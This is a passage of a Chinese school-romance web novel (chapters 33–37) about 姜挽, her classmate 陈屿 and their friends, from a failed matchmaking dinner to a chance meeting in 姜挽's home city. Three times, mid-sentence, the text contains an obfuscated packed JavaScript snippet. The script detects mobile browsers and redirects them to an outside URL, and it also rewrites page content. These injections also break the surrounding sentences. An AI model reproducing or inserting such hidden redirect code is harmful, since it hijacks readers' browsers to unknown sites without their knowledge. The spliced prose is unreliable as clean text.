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陈屿来去基本都是用跑,所以一共也没花几分钟,而且他很细心,专门挑的温水,将水递给姜挽,他还是不放心:“真的不用去校医院吗?” 姜挽接过:“谢谢,不用。” 她先漱了口,又倒出来一点在手心,拍了拍额头的位置,剩下半瓶,她也没浪费,直接喝了。 一切做完,姜挽起身往教室走,这次陈屿没再拦她,而是默默跟在她身后,像一个犯了错的孩子。 往后几天,陈屿也没再敢做出出格的事情,他总觉得上次姜挽会吐,是因为他的原因,心中一直很愧疚。怕再次影响到她,虽然好几次他都想再去找她,可还是硬生生压下了。 她们二人如今闹成这些,身边人不可能不知道。陈屿心情不好,孟云程问他什么他都不说,姜挽也一样,而且这件事情她本就想瞒着大家,所以尤伽问的时候,她也没说什么。 “呦呦,你和陈屿之间是不是发生了什么?” “没有。”姜挽垂下眼睫,明显不想讨论这个话题。 “要是有什么的话,你可以告诉我,虽然我在谈恋爱这方面没什么经验,但有时候就是当局者迷,旁观者清,或许我也可以帮你分析分析。” 既然打算和陈屿断了,姜挽也就不想其他人再误会:“我们没什么特别的关系,一直以来都是同学,所以也不存在发生什么。” 这样的姜挽好冷,尤伽很不适应,其实从她这次生病回来后,尤伽就感觉她和之前不一样了。 以前的她虽说也不爱凑热闹,可那只是有点内向,现在完全不一样了。姜挽变得更不爱说话,对什么都不感兴趣了,偶尔和她眼神对上,也是一片沉寂。说难听点,那眼神用“心如枯槁”来形容都不为过。 可这毕竟是他们两人之间的事情,尤伽也不好多说什么:“好吧,既然你这么说,那我也就不多问了,只是你要记住,不管发生了什么,你都还有我这个朋友。” “我知道的,谢谢你。”姜挽露出了这么多天难得一见的笑容。 虽然惨淡,但好歹也是个笑容,尤伽叮嘱她:“不要想太多,凡事还是要以自己为主。” “嗯,我会的。” 尤伽这边是放弃了,可孟云程那边却没有,虽说他很多时候都不靠谱,可有一条却没话说,那就是对待朋友。 中午,食堂。 “你看到陈屿最近那个样子没,我和他认识这么长时间,还是第一次见他这么消沉,那个样子,哎……”孟云程似乎说不下去了,“不行,我得找个方法帮帮他。” “怎么帮?”尤伽拿筷子挑着花椒,今天这午饭放了花椒太多,简直没法吃,“你看他们两个那情况,像是能帮的吗?” “所以请你吃饭,一起想办法呀。” 办法尤伽也想过,只是一直没想到合适的。 “要不这样,”孟云程朝她靠近两分,凑近她的耳朵,“我们兵分两路……” 34. 第 34 章 尤伽说今晚要请她吃饭,一开始听到这个消息的时候,姜挽是不打算去的。可尤伽很坚持,说她们这么久都没有好好聚一聚了,而且她前段时间生病,也需要吃一顿好的补补,姜挽推迟不过,也就答应了。 去之前,她照例需要提前告知沈曼,因为她这段时间的“良好表现”,沈曼破天荒地竟然同意了,只是交代她不要在外面过多逗留,吃完饭就赶紧回来。 放了学,姜挽和尤伽一起走,她原本还以为尤伽订的可能是火锅或者炒菜之类的家常饭店,没想到却被带着走了一条之前从未走过的路。 穿过一段闹市区,再绕过几栋写字楼,流光溢彩的街尾,姜挽一抬头,发现是一家西餐厅。 就是那家北城美食排行榜上名列前茅,各大网红博主争相测评的打卡圣地。 姜挽有点犹豫:“不用在这么高档的地方吧?” “没事,花不了多少钱,”尤伽劝她,“再说了又不是经常来,偶尔一次而已。” 即便如此,姜挽也觉得这样有些过于奢侈了,她不想去了,可尤伽却说套餐已经买好了,现在就算不去,钱也没办法退了。 姜挽没办法,只能硬着头皮跟着她,可进了门,却发现很奇怪,明明现在就是饭点,但这么大的餐厅,却一个顾客都没有。 看现场的布置和气氛,又不像是停业,更像是被包场了…… “今天这里是被包场了吗?”她问尤伽。 尤伽有点闪躲:“我也不是很清楚,我们先去包厢吧。” 越往里走,姜挽就越是肯定了自己的猜测,一路随处可见鲜花和气球,还有循环播放的音乐。更巧合的是,竟然还是那首《Strawberries&Cigarettes》。 到包厢门口,姜挽突然意识到了什么,她有点不敢往前了。可此刻已经来不及了,门一打开,果然陈屿就站在门后,他身后是孟云程。 一瞬间,姜挽便什么都明白了,原来请客,吃饭,带她过来,全都是他们一早计划好的,目的就是为了撮合她和陈屿。 被这样“算计”,她却并不觉得生气,只觉得胸腔里都是承受不住的情谊,满得下一秒就要从她的眼角溢出来了。 她使劲掐着自己的掌心,言不由衷:“尤伽,抱歉,我还有事,得先走了。” “呦呦,你先别……” 尤伽的话还没说完,姜挽就已经转身走了,紧接着就看见包厢里一道身影也已经飞快地冲了出去,朝着她离开的方向去了。 “哎……”她叹一口气,真是不知道该怎么办了。 跟着姜挽出来的陈屿却并没有追上她,而是一直跟在她身后,始终和她保持着不远不近的距离。 姜挽在前面走,也能看到身后的那道身影,一开始她以为他是有话要说,为了避开他,所以走得格外快。但后来发现他并没有要拦下她的意思,始终和她保持着不远不近的距离,反而是她自己有些沉不住气了。 姜挽深吸一口气,停了下来,果不其然,身后的脚步声也停了。 北城冬日室内外温差大,室内虽然暖和,可室外却冷如冰窖。转身的功夫,姜挽这才注意到他没穿外套,他本就皮肤白,此时被冻,就更加显得没血色了。 为了让他赶紧回去,姜挽不得不违心开口:“你到底要跟我到什么时候?能不能不要再跟着我,让我一个人安静一会儿。” 这是迁怒,暴躁,是毫无理由的发脾气,可陈屿却没生气,而是始终温和地看着她,指了指不远处的公交站台:“看到你上车,我就回去。” 一瞬间,姜挽心脏骤疼,她不明白,世界上怎么会有他这么傻的人。被推开,被抛弃,甚至是被毫无理由地辱骂,竟然还能做到如此对她。 眼泪是什么时候流下来的,她自己都不知道,直到看到陈屿上前两步,本来打算伸手帮她擦,可能是觉得不合适,很快又换了纸巾递给她,姜挽这才反应过来。 她别开脸,没接他的纸巾,而是抬手胡乱擦了一把。 “明明是你在推开我,你哭什么呢?” 姜挽不想聊这个话题:“你回去吧。” 陈屿没动:“别生尤伽和孟云程的气,是我让他们这么做的。” 姜挽没回答,而是直接换了话题:“以后不要再做这种事情了。” 说罢,她没再多停留,而是头也不回地离开了。 背后传来一声叹息,姜挽听得不真切,她宁愿相信那是风。 孟云程接到陈屿的电话时,脸色不怎么好看,全程都没怎么说话,“嗯”了几句后便挂断了电话。 尤伽在旁边一直屏息凝神,电话一挂断,便立马开口问道:“怎么样?陈屿把呦呦追回来了吗?” 孟云程叹一口气:“没有,姜挽回家了,他也准备回家了,让咱们也早点回家。” “啊?怎么会这样?”尤伽很沮丧,“我以为能成的,以我对呦呦的了解,她对陈屿绝对是有感觉的,只是不知道为什么,这次回学校后,她突然变了好多。” 折腾这么长时间,又是出谋划策,又是包场安排的,最后还没成功,孟云程也觉得泄气:“这感情的事实在是复杂,搞不懂。” 既然不懂,索性先吃饭吧,他将牛排切成小块,然后递给尤伽。 尤伽本来是不想吃的,但一闻到这个香味,肚子就开始咕咕直叫,但开动前还是短暂地犹豫了一下:“他们两个在吵架,咱们偷偷在这吃饭,是不是不太好?” “没什么不好的,”孟云程大大咧咧的,“吃饱了,才能想出更多的招,快吃吧。” 可还没等他们想出更多的招,新的麻烦事就又来了。 之前因为陈屿在广播里的暗戳戳告白,学校里的女生暂时消停了一阵儿。可这么长时间过去了,并没见到他和哪个女生走在一起,原本已经衰落的表白风潮,不知不觉间竟然又再次刮了起来。 吃完饭,在回教室的路上,陈屿被一个女生拦住了,他第一反应就是拒绝,可转身之际,却突然在不远处看见了姜挽的身影。 孟云程当然也看到了,就怕引起更多的误会,忙催着他走。 陈屿这会儿却偏偏不动了,一刹那,他思绪叛逆,就想看看在她面前收下别人的情书她会是什么反应,是不是真像她说的那样,一点也不在乎,只把他当做普通同学。 陈屿第一次做这种事情,他也觉得非常不自在,硬挺着,坚持到姜挽走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448280|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的时候,才伸手接了对方的情书。 对面的女生完全没想到他会收,一时间高兴得热泪盈眶,不停重复着自己有多么喜欢他。 可陈屿这会儿哪里还听得进去一点,他一直盯着姜挽,见她冷漠地走近,再继续走远,全程甚至都没朝他这边看过来一眼。 他轻轻地眨了下眼,自嘲地笑了笑,又把情书还给了对面的女孩:“抱歉。” 孟云程一直站在旁边目睹了全过程,如果说一开始还不理解的话,后面看到陈屿的眼神一直在姜挽身上就明白了。只可惜,她是真的不在乎。 兄弟难受,他也跟着一起难受,拍拍陈屿的肩膀:“要不算了吧。” “不。” 陈屿并不打算放弃。 他记得姜挽之前说过,不想再和他有太多接触的原因,就是因为担心会影响她的学习。既然学习对她而言这么重要,那么他就拼命学习,站在顶峰,让她无法忽略他。又或许,她还会觉得,他对她而言也还是有用的。 从小到大,陈屿从来没有这么拼命过,父母有钱又有权,加上他自己长相和成绩的加持,一路走来,基本都是众星捧月般的存在。 现在为了被她多看两眼,就差把自己逼上绝路了,他父母都有点看不下去了。 “儿子,你不用这么拼命,正常学习就行,以你的成绩,国内的大学随便挑。就算不行,我们也会给你安排国外的学校,主要看你喜欢。” 他父母虽这样说,可陈屿还是一再坚持。 其实,以他的天资,根本不需要用全力,七八分已经是年级第一,现在拼尽全力,彻夜不眠地刷题,出来的结果就不仅仅是年级第一了。 姜挽虽说还是第二名,可和他之间的差距已经不是之前的几分那么简单了,而是几十分。 可即便如此,她也并没有因此去和他多说几句话,到此,陈屿才不得不相信,她是真的不想再和他有联系了,无论他做什么。 所以,这场考试下来,最开心的反而是他们班主任韩华。 在后来某一次,陈屿再次和姜挽不小心迎面撞上,而她为了躲他,差点崴到脚之后,陈屿终于下定了决心。 他刚走过去,姜挽的脸色一下子就不好看了,像雨打的新叶,颓然中还带着点惊慌。 陈屿被她这眼神伤到,在离她几步远的距离停下:“你其实没必要费这么大劲躲着我,”他扯开一个笑,尽量让自己显得洒脱些,“你放心,既然你这么讨厌我,我以后不出现在你面前就是了。” 像是犹豫试探,又仿佛一锤定音:“我以后都不会再缠着你了。” 姜挽的心骤然缩紧,明明是她想要的结果,可现在听到,却有一种呼吸急促,鼻腔酸涩的感觉。 陈屿说完,也没立刻走,像是在等待着她能给点什么反应,可惜,什么都没有。 “呵——”陈屿苦笑了一声,最后还是离开了。 后来,果然如陈屿说的那般,他很少再出现在她面前,两人虽在一个班级,可座位离得远,上下学的时间又不一样,所以,也就和陌生人无异了。 与此同时,姜挽舅舅的工作却再次走上了正轨,家里也终于迎来了难得的安宁。 35. 第 35 章 又是一场大雪,蓬松的雪花一层层落在松枝上,地上是各种车轮碾过的泥泞痕迹。 姜挽已经记不清,这是她今年遇上的第几场雪了。 时间过得很快,转眼间她们已经结束了上学期的期末考试,正式进入了她在北城的第一个寒假。 以前上课的时候,每天有事情做还好,她可以把全部的注意力都投到学习里,强迫自己不去想陈屿。可现在一停下来,她几乎每天满脑子都是他。 尤其是她还待在北城,看到一棵树,走过一段路标,甚至是路过的风里,仿佛都能感觉到他的气息。 姜挽突然很想念江城,想念江城的海风,想念江城的热浪,就连以前经常吐槽的炎日,现在回想起来,也都是温暖的感觉。 可能人在悲伤的时候,第一反应总是想回到故乡,所以这个念头一旦起来,便再没从她的脑海里消散过。 但姜挽也知道,直接和沈曼说,她肯定是不会同意的,以往就连她在她面前提到江城,沈曼都会大发雷霆,更不要说,她现在还是直接回去了。 所以,这件事还得从长计议。 找了个沈曼心情还不错的日子,姜挽主动和她提起了这事:“妈妈,我有件事想和你商量。” 因为她最近的“不错表现”,沈曼这段时间对她都很有耐心:“什么事,你说吧。” “我想回江城一趟。”姜挽直接开口,果然在她说出这个要求后,注意到沈曼的脸色变了,姜挽一早便料想到了这种局面,所以也就没什么大的心里起伏。 不待沈曼开口,她继续道:“妈妈,你应该也看出来了,我最近状态不太好,如果一直待在北城,难免会触景生情。我担心,要是哪天情绪上头,突然跑出去了也不一定。所以,我想回江城一趟,散散心,顺便也做做兼职。” 江城地理位置偏南,是著名的旅游城市,每年冬天,都会有很多游客从全国各地过去旅游。在这种情况下,姜挽从小便耳濡目染,很小的时候就会趁着寒暑假去景区做兼职导游了。一来是锻炼,二来也能挣点零花钱。 果然,她这么一说,沈曼便开始犹豫了,两害相权取其轻,她相信,沈曼最终还是会让她回去的。 离开北城的那日,沈曼送她到火车站,一路交代了很多,但总结下来就是让她在江城乖一点,不能做的事别做,不该见的人也别见。而且每天固定三次,定时定点要和她联系,汇报她这一天到底做了什么。 和不让她回去相比,这已经是沈曼能做出的最大让步了,姜挽当然没异议,再三保证一定能遵守,沈曼这才把包递给她,指了指检票口:“进去吧,到了和我说一声。” “嗯,知道了。” 北城到江城将近两千公里,姜挽坐的是慢车,全程差不多20个小时,看着窗外从白天到黑夜,再到黑夜到白天,终于,视线里开始逐渐出现她熟悉的,带着夏日气息的江城景色了。 一排排的棕榈树,随处可见的红色三角梅,还有隔着车窗似乎都能闻到的那带着清新水汽的海风的味道,姜挽瞬间便感觉,一直堵塞的胸腔,仿佛都被这景色净化了。 网上说的没错,家乡,果然是治愈一切焦虑和不开心的良药。 下车后,姜挽先在火车站拍了一张照片,发给沈曼,告诉她已经安全到达后,这才提着行李箱和背包去搭公交。 她今天要回的是她奶奶家,在江城郊区。其实她们家在城里是有房子的,可自从她爸爸去世后,她和她妈妈搬到北城,她奶奶因为住不惯城里的房子也回了乡下,所以那套房子就空了。 长时间没有打扫,一时半会儿肯定也不适合居住,况且她这次回家还有另一个目的,那就是多陪陪她的奶奶。 姜挽的爷爷早逝,她几乎不记得爷爷的样子,印象里只有奶奶,陪她玩儿,接送她上学,还有给她买各种礼物,她父母不在的日子,都是奶奶陪着她一起度过的。 原本她奶奶是打算今天来车站接她的,可姜挽考虑到她年纪大了,硬是说什么也不让,只让她在家里等着。可即便是在家里等着,姜挽也知道她闲不住,这会儿还没正式进门呢,她便已经闻到了屋内飘出来的饭香。 芬芳的椰子香,再加上鸡肉原本的油香,不用看,姜挽就可以断定,是椰子鸡,她从小到大都爱吃的美食。 姜奶奶也听到了门口行李箱的声音,围着围裙就从厨房跑出来了,见到姜挽,她很高兴:“呦呦,你回来了!”她拉着姜挽左右看了好几圈,突然眼圈红了,“怎么瘦了这么多?是那边的饭菜不合胃口吗?” 姜挽哪里敢和她提在北城的事情,于是开始打马虎眼:“是呀,北城的饭菜哪有您做的好吃,您都不知道,在那边我有多馋家里的饭菜。这不,趁着寒假,我就赶紧回来了,让您帮我我补补。” 姜奶奶被她哄得高兴,一时间,也顾不得在这个话题上问太多,忙拉着她进屋:“那快走,赶紧进屋,我做了你最喜欢吃的椰子鸡。” 除了椰子鸡,还有白灼虾,清蒸螃蟹,以及她们这边这个季节的各种捞汁小海鲜,姜挽吃到再也吃不下,可以说是她这么长时间以来,吃到的最舒心的一顿家常菜了。 一顿饭,基本都是她在吃,姜奶奶在旁边看着,有时候帮她剥壳,有时候也会问她一些在北城的事情。 虽然之前已经在天气预报上看过了,可当亲耳听到姜挽说北城现在零下,而且还经常下雪的时候,她还是非常担心:“那你能适应吗?和我们这边差别可太大了。” 适应吗?还好吧,环境什么的都是小事,重要的是人。 “挺好的,我适应得还不错。” “那你在那边有交到新朋友吗?在这边的时候你朋友就少,奶奶担心你去了那边没有朋友会孤单。” “交到了,”提到这个话题,姜挽不可避免地就会想到陈屿,她故意提高音调,让自己的声音听起来轻快不少,“交到了好几个呢,男生女生都有。” “看来我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448281|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们呦呦适应能力还是挺好的。”只有听到她亲口这样说,姜奶奶才能放心,“当初你妈妈那么强烈地要带你去北城,其实我是不赞成的,但没办法,她也有自己的苦衷。” 这又是一个不怎么开心的话题,姜奶奶也意识到了,说了两句,便停下没再继续:“好在你现在适应得还不错,我也就放心了。” 对于她刚才提到的苦衷,姜挽没多想,还以为指的是沈曼遭受丈夫去世的打击。这件事,这个话题,无论过去多久,但只要提起来,就会让人心情变得沉重。回来的第一天,姜挽不想让奶奶不开心:“我在北城一切都好,您放心。” 吃完饭,洗完碗,姜挽还保留着和之前一样的习惯,要去院子里的那张躺椅上躺一会儿。 头顶有树荫,耳侧有海风,身旁是她奶奶给她准备的水果,姜挽吃一口,拿起蒲扇轻轻地摇:“奶奶,今年我们这里的旅游业怎么样?城南岛还像之前那样人多吗?” “多着呢,比以前还多,听年轻人说是因为网络发达了,很多人知道了这个地方,所以来旅游的人就更多了。” 姜挽拿起一块菠萝,仰起头,抬手隔空抛进嘴里:“那我过两天联系我之前做兼职的旅行社看看,问问她们还招不招兼职。” —— 孟云程一开始听到陈屿想要去旅游的想法时,还觉得挺正常的,毕竟他这段时间心情不好,出门散散心也是应该的。而且,他们也确实很长一段时间没有一起出过门了。 可下一秒听到他打算去的地方后,立马一脸黑线:“江城有什么好去的?这种南方的海滨城市,你每年过年和你爸妈一起还没去够吗?” 话出口,他突然反应过来:“你是因为姜挽,对不对?就想去她在的地方?早知道我就不告诉你她回江城的事情了。” 前几天尤伽告诉他姜挽回江城了,这种消息,他当然瞒不住,所以几乎是在听到的瞬间便告诉了陈屿。 对于他的这些话,陈屿只当没听到:“谁说我去江城就是找她了?江城那么大,而且本来就是个旅游城市,我是去旅游的,不行吗?” “这话你自己信吗?”孟云程一副“怒其不争”的表情,“你他妈能不能有点出息?就算要去,不能等一等吗?人家前脚刚回了江城,你后脚就追过去,你让人家怎么想?” “我没想找她。” “那你这么屁颠屁颠地追过去干嘛?” “只是想去她生活的地方看看。” “你……”孟云程一时竟不知该说什么好了,叹一口气,“行吧,你打算订什么时候的票?” “明天。” “你他们真是……”孟云程简直不敢相信,“我真不知道该怎么说你了!” “那就别说。” “你这样,你爸妈也不管?” “他们对我一直都是放养原则,你又不是不知道。” “……” 关于这点,孟云程确实只有羡慕的份儿。 36. 第 36 章 孟云程最终还是和陈屿一起去了,因为他没有别的选择,倘若一直待在家里的话,那么后果只有一个,就是得不停地面对他父母给他报的各种补习班。 两人刚下飞机,孟云程便止不住抱怨,一会儿说天气热,一会儿又说环境一般,最后竟然还扯到紫外线上面,一路就没停过。 陈屿听不得他一直吐槽江城,皱着眉:“没人要求你一定来,你要是受不了的话,现在就可以买返程机票回去。” 孟云程一听,当即反驳:“那不行,我都已经出来了,自然是要潇洒一番再回去的。再说了,和被我爸妈安排补习相比,和你一起出来瞎晃,其实也还是不错的。” 陈屿一手提着行李箱,一手在手机里寻找司机的电话:“那你就闭嘴,不然我现在就打电话告诉你爸,其实你这次出来根本不是什么实践,就是瞎晃的。” 孟云程最怕这招,当即没再吭声,还做了一个胶带封嘴的动作。 陈屿给司机打电话,对方接的很快,告知他们就在航站楼出口等着,跟着人流走,出来一眼就能看到。 果不其然,他们两个一出来就看到了,对方三十左右,打扮得体,礼貌周到,一看就是正规旅行社的工作人员。 和陈屿一起出门,别的不说,钱是一定会花到位的。头等舱,五星级酒店,还有旅游途中的各种专人服务,所有的一切都是高配。这也是为什么孟云程宁愿忍受他的毒舌,也要坚持和他一起出门的原因。 到了酒店,还有美味精致的海鲜大餐等着他们,不同于一开始下飞机时的抱怨,孟云程这会儿的态度可谓是一百八十度大转弯,狼吞虎咽,大快朵颐,反倒是陈屿显得有些兴致缺缺了。 吃完饭,陈屿打算出门逛逛,孟云程却说累,想在酒店睡觉。陈屿也没强求,背上相机打算出门。 突然,孟云程拦住他,警惕地开口:“你不会背着我,一个人偷偷去找姜挽吧?你可别这么做啊,要是传到尤伽耳朵里,她非得把我骂死不可!” 当初尤伽和他说姜挽回江城的时候,就一再交代过他不要和别人说,现在他不仅说了,还和陈屿一起来了,孟云程简直不敢想象被她知道后会怎么样。 陈屿正背对他穿鞋,表情看不清:“过来的一路,你看到我和她联系了吗?再说了,江城这么大,哪有那么巧,随随便便就能碰上。” 陈屿说的是实话,他这趟来,确实没想过要打扰她,只是想看看她从小长大的地方而已。 “也对,”孟云程安心了,重新躺回床上,“那你去吧,记得回来给我带晚饭。” 陈屿离开后,孟云程给尤伽去了一个电话,尤伽只知道他和陈屿出门了,但具体去哪里却不清楚,而且她也不感兴趣,因为这种事他们俩几乎每年都会做。 孟云程有心和她分享这边的美食,又害怕她猜出是哪里,所以讲话都是犹犹豫豫的,几句话下来,尤伽就没耐心了:“行了,知道了,你们好好玩儿吧。” 像是就等着她这句话,得到了尤伽的肯定,孟云程开心不已,挂了电话后,忙不迭开了一局游戏。 —— 和北城的冰天雪地相比,此刻的江城可谓是绿意盎然。街边随处可见棕榈树,还有绽放在枝头的红色三角梅,翅膀上带着白斑的蝴蝶在其中一晃而过,陈屿“咔嚓”一声按下快门。 许是因为这里是姜挽从小长大的地方,陈屿看每一件事物都感觉带着生命力。一朵花,一棵树,甚至是扑面而来的湿热海风,他都真诚地接纳和欣赏。 路过街边的饭馆,他会想姜挽以前是不是在这里吃过饭;穿过街道,他也会记录,或许之前的某个时间点,姜挽和他一样,也在这里驻足停留过;还有人行道上再普通不过的父母牵着女儿的场景,他都会代入,想象很多年前,姜挽也是这样,被她父母牵着走在街头,无忧无虑地度过了她的童年。 所见所感,所思所想,皆是她。 陈屿没去太远的地方,就在酒店附近逛了逛,回去前在路边随便挑了一家餐馆解决晚餐,吃完后觉得味道不错,又给孟云程带了一份。 孟云程玩了几把游戏,后来又睡了会儿,刚起来正愁没地吃饭,就见着陈屿给他带回来的晚餐,不得不感叹,陈屿这人对他是真够意思。自己都触景生情了,还记得给他带晚饭。 “兄弟,还是你对我好。” 陈屿没搭理他,在旁边的沙发上坐着玩儿手机。 “对了,我们明天什么安排?”孟云程也不介意他冷淡的反应,边往嘴里塞菠萝炒饭,边开口。 “明天旅行社会安排人带我们在市区转转。” 闻言,孟云程抬起头:“你真不去找姜挽啊,”他有点不好意思,“其实也没我下午说的那么严重,你要是真想去找她的话,只要不让尤伽知道就行。” “不去,”陈屿窝进沙发了,似乎有些疲惫,“说了不去打扰她,就不会去。” “行吧,那后天呢?”他们一共在这安排了三四天的行程。 “后天再说吧。” “行,”他俩旅游,主打一个随性,“那就到时候再说。” 第二天,果然如陈屿说的那般,一整天他都没有提过姜挽一次,只是特别喜欢拍照,好看的,特色的,甚至还有平平无奇的,他基本全拍。 而且他只拍景色,从不拍自己的人像。导游见他这么喜欢拍照,好几次提议要帮他拍,都被拒绝了。 导游有点心虚,趁陈屿再次忙着拍照的时候,悄悄和旁边的孟云程询问:“您这位朋友看起来好像有点不太高兴,是不是我哪里没有服务好,给你们造成不好的体验了?” “没有,不是,您别多心,”他们这次出来选择的是当地最出名的旅行社,能力和态度肯定都是没问题的,孟云程把导游拉到一边,小声开口,“他这是触景生情,睹物思人呢,和您没关系。” 导游平日里见多了人,瞬间便明白过来了,但也没有说破:“如果是因为这个原因的话,那我建议你们明天可以去城南岛逛逛,那里景色不错,附近还有个城南寺,可以散散心。” 刚好他们明天的行程还没有定,孟云程点点头:“这个地方,也是您带我们逛吗?” “不是,我们每个导游都有自己负责的区域,那边也有专门的导游,不过您放心,能加入我们旅行社的一般都是当地人,且对这里的文化背景都很了解,不会比我差的。” “您这样说,那我就放心了。” 晚上回到酒店,孟云程把今天和导游聊天的内容和陈屿说了,陈屿没意见,反正只要是在江城,去哪里他都接受。 他们订好行程后,便和旅行社联系,但对方表示因为最近来江城旅游的人实在太多,尤其是去城南岛的,而且他们决定的又比较晚,现在正式的导游已经全部安排出去了,只剩兼职导游。 但对方也一再表示,虽然是兼职,能力和素养也是完全没问题的。而且这位最近也刚从北城回来,和他们应该会有很多话题。 其实对方是谁,陈屿根本不关心,只要能带着他们逛就行。况且冲着旅行社这坦诚的态度,陈屿也就答应了。 对方一听很高兴,当即便表示可以给他们打折,陈屿对这些也不怎么在意,反正对方怎么安排,他接受就行。 次日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448282|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晨,还是和昨天一样,旅行社一早便派了车来接,因为有了昨天晚上的提前沟通,他们对这次的导游其实并没抱太大希望,远远看过去,只能认出是个瘦瘦高高的女生,扎着马尾辫。 而她此刻正背对着他们,似乎是在打电话,并没有注意到他们的出现。 “怪不得说是兼职的呢,这一看就比昨天的年轻。”过去的路上,孟云程和他调侃,“说不定,和咱俩年纪一样大。” 陈屿淡淡瞥了一眼,很快收回了视线。 “你说,她这么年轻会不会没什么经验啊?又是个小女生,一会儿会不会嫌热嫌累,中途给咱俩撂下了吧?” 陈屿虽然对这个话题没什么兴趣,但还是回了他一句:“既然能做这个行业,就不至于。” “也是,是应该多给年轻人一些机会。” 说话间,他们已经来到了那姑娘旁边,但她电话还没打完,孟云程等不及了,叫了一声:“您好……” 随着这一声落地,对面的人转过身来,也是这一眼,让双方都怔住了。 谁也没想到,那人竟然是姜挽! 陈屿的反应最大,只是他面上不怎么显。这种心里想的人突然出现在眼前,大脑骤然短路的情况,他是第一次遇到。心跳重如擂鼓,就差从嗓子眼里蹦出来了。 他完全没想到,也没敢想过,竟然会以这样的方式和她见面。 她好像比之前胖了点,也黑了,但精神状态很好,比以往在北城时肉眼可见的开心。 姜挽转身,见是他们,也愣住了。 她回江城好几天了,除了前两天在家里休息,给爸爸扫了墓之外,其他的时间便都在城南岛做兼职。昨晚晚上接到老板电话时,她本来还有点推拒,好不容易暂时离开北城了,她想给自己放一个假,不再去想那里的人和事。她怕自己接待从北城来的游客,难免会想起一些。 可老板说实在是没办法了,人手不够,况且对方是两个年轻人,很好相处的。老板平时对她不错,这么多年都很照顾她,就连刚才临出发前,也还在电话里和她交代注意事项,姜挽实在是推脱不掉。 可没想到,这一上来,直接就让她没了任何退路。 电话里的叮嘱还在继续,姜挽忙回神:“老板,已经接到游客了,先挂了,晚点再和您联系。” 挂了电话,姜挽深吸一口气,视线和对面的陈屿他们对上,但一时间谁也没开口,因为实在是太惊讶了。 “我靠!这不是在做梦吧?这他妈的也太奇幻了!”孟云程最先反应过来,一顿输出,“还是说你俩有缘,这都能碰上?” 他看看陈屿,又看看姜挽,最后视线落回陈屿脸上,好在还知道压低声音:“这不会是你特意安排的吧?” 陈屿没搭理他,他就是有这个心,也不会这么做。更何况,他提前也完全不知道她在这里做兼职的事,要如何安排呢? 可凭心而论,能见到她,他还是很开心。 怕孟云程又说出什么让大家尴尬的话,他接过话题问姜挽:“你在这里做导游?” “啊,兼职的,”姜挽回他,“你们来江城旅游?” “嗯。” 两个问题都是明知故问,太明显了,本来是为了缓解尴尬的,可没想到问出来反而更尴尬了。 沉默了一会儿,还是姜挽先恢复过来,毕竟今天她是来工作的:“这里的天气,你们还适应吗?” “挺适应的。 “适应什么呀,热死了。” 两个人,完全不同的两种回答,姜挽笑笑:“江城是有点热,不比北城,要不我们先上车吧?” 37. 第 37 章 江城不算大,从酒店过去城南岛三十几公里,通常情况下开车半个小时左右就能到达。可现在正值江城旅游旺季,路上车多人多,出发前姜挽看了眼导航显示的时间,估计需要五十分钟左右才能到。 她把这情况和他们说了,陈屿点点头表示知道了,孟云程则是完全随意,反而对她兼职导游的这件事更感兴趣。 “你真当导游了啊?怎么样,干多久了,这工作累不累?”他和陈屿坐在后排,姜挽和司机在前排,和她说话的时候,孟云程手撑着座椅,微微朝前弓着身。 “还行,不累,”姜挽侧着身子回答他的问题,“有几天了。” “就算身体不累,脑子也累吧?每天要背那么多东西,什么风土人情,历史文化的。” “也还好,这些东西我从小就接触,已经不用特意背了。” “也对,你是学霸,学习那么难的东西都能搞定,这些东西对你而言肯定就更简单了。对了,”他突然的心血来潮,“既然是导游,那你肯定也能像电视里演的那样,对着景点,随意就能来一段讲解吧?” 他没有其他的意思,只是单纯地好奇,想见识一下而已。一个平日里和自己一样的同学,突然有一天却干了一份他完全没接触过的工作,好奇,也敬佩。 “可以的。”这是她们的基本功,虽说不是全职的导游,可想要做这份兼职的工作,日常的知识和能力考核,姜挽所在的旅行社还是看得很重的。 “那要不你现场来一段?”车子正巧路过一个人像雕塑,孟云程指了指,“就这个吧,它的来历和历史背景,你给我们讲讲呗。” “当然没……” “想知道不会自己查吗?一大早的,话这么多。” 姜挽的话还没说完,突然斜刺里插进来一个声音,是陈屿。 孟云程有点没反应过来,很委屈:“怎么,谁规定一大早的就不能说话了?再说了,出来旅游不就是为了现场听讲解吗,要是都在手机上查的话,那干脆就在家里待着算了,还出来干嘛?” “那你现在可以回去。” “我凭什么回去?我不回去。”孟云程也不知道他一早上发什么颠,脾气这么大。 